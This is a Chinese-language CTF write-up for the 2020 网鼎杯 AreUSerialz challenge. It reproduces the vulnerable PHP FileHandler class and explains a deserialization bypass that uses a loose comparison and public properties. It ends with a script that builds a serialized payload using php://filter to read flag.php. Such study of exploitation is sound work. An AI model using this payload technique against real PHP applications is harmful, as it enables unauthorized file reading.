序列化2之[网鼎杯 2020 青龙组]AreUSerialz1

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct(){
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

这里面的函数通过分析可知：_construct函数可以不管，因为在反序列化时是不会自动调用的，在创建一个新对象时会调用，而_destruct是在销毁一个对象时调用，而PHP中大部分都会自动调用他，这里面说，不能让op==="2",注意是字符2，所以我们可以让op=2，整数2，在process里面是弱比较，可以通成功执行read函数，达到读取flag.php 的目的；然后就是

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

这个函数主要是过滤掉protect类的成员在序列化的时候是以%00作为标识符但是在PHP版本大于7.1的情况下，protect类和public类没什么好注意的，所以在构造序列化时改为public可以绕过is_valid函数，构造PHP序列化：

<?php
highlight_file(__FILE__);
class FileHandler {

    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
   public $content;
}

$str = new FileHandler();
echo serialize($str);
?>

这里的filenam用了伪协议吧内容base64加密显示出来，也可以不用，直接flag.php也可以

由于没学过PHP，原来写diamante的时候，类里面只要说明变量即可，就和struct一样；